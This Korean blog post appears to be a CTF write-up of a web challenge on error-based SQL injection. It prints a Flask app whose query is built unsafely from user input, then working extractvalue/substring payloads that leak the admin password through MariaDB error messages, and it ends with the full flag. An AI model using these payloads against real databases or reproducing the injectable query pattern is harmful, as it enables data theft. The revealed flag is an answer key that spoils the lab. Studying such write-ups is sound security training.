문제 분석

문제 링크를 통해 접속해보면 위와 같이 uid에 파라미터로 test를 입력하면 화면에 test가 뜨는 것을 확인할 수 있다.
DB 분석
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
init.sql 파일을 열어보면
user라는 테이블 안에 idx, uid, upw 컬럼이 존재한다.
그리고 admin, flag / guest, guest / test, test를 각각 uid, upw로 설정해준다.
app.py 코드 분석
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
위의 코드를 살펴보면 사용자에게 uid로 입력을 받는다. 하지만 사용자 입력을 받을때 아무런 검증을 하지 않기 때문에 sql injection에 취약하다. 우리는 문제의 제목과 같이 error-based sqli를 통해 flag를 획득할 예정이기 때문에 강의를 참고하여 sqli를 발생시켜보자.
익스플로잇
익스플로잇을 하기 위해선 에러를 고의적으로 발생시키고 extractvalue 함수를 사용하여 에러문에 우리가 원하는 정보를 포함시킬 것이다.
admin' and extractvalue(1,concat(0x3a,version()))--
결과 : (1105, "XPATH syntax error: ':10.3.39-MariaDB-0+deb10u1'")
이렇게 성공적으로 payload가 작동하는 것을 확인할 수 있다.
그렇다면 서브쿼리를 만들어서 한번 에러문에 flag를 포함시켜보자
admin' and extractvalue(1,concat(0x3a,(select upw from user where uid='admin')))--
결과 : (1105, "XPATH syntax error: ':DH{c3968c78840750168774ad951...'")
위와 같이 flag를 출력하는 것을 확인할 수 있다. 하지만 extractvalue 함수는 길이제한이 있기 때문에 flag 전체를 출력하진 못한다. 따라서 우리는 flag의 길이를 구해야한다.
flag의 길이를 구하기 위해선 length 함수를 사용해 총 길이를 구할 것이다.
admin' and extractvalue(1, concat(0x3a,(select length(upw) from user where uid='admin')))--
결과 : (1105, "XPATH syntax error: ':44'")
위와 같이 flag 길이가 44라는 것을 알았다.
그렇다면 이전에 구했던 flag의 길이는 28이니, 29부터45까지의 길이를 출력하면 전체 flag를 구할 수 있을 것이다.
admin' and extractvalue(1, concat(0x3a, substring((select upw from user where uid='admin'), 29, 45)))--
결과 : (1105, "XPATH syntax error: ':fc98bf788563c4d}'")
그럼 이제 두 flag를 합치면
DH{c3968c78840750168774ad951fc98bf788563c4d}가 된다.
'CTF & Wargame(WEB)' 카테고리의 다른 글
| SSTI 관련 문제 풀이 (0) | 2025.05.04 |
|---|---|
| JWT (JSON Web Token) 취약점 관련 문제 (0) | 2025.05.02 |
| level 2 blind sql injection advanced (0) | 2025.04.22 |
| level 2 DOM XSS (0) | 2025.04.22 |
| level 3 XS-Search (0) | 2025.04.22 |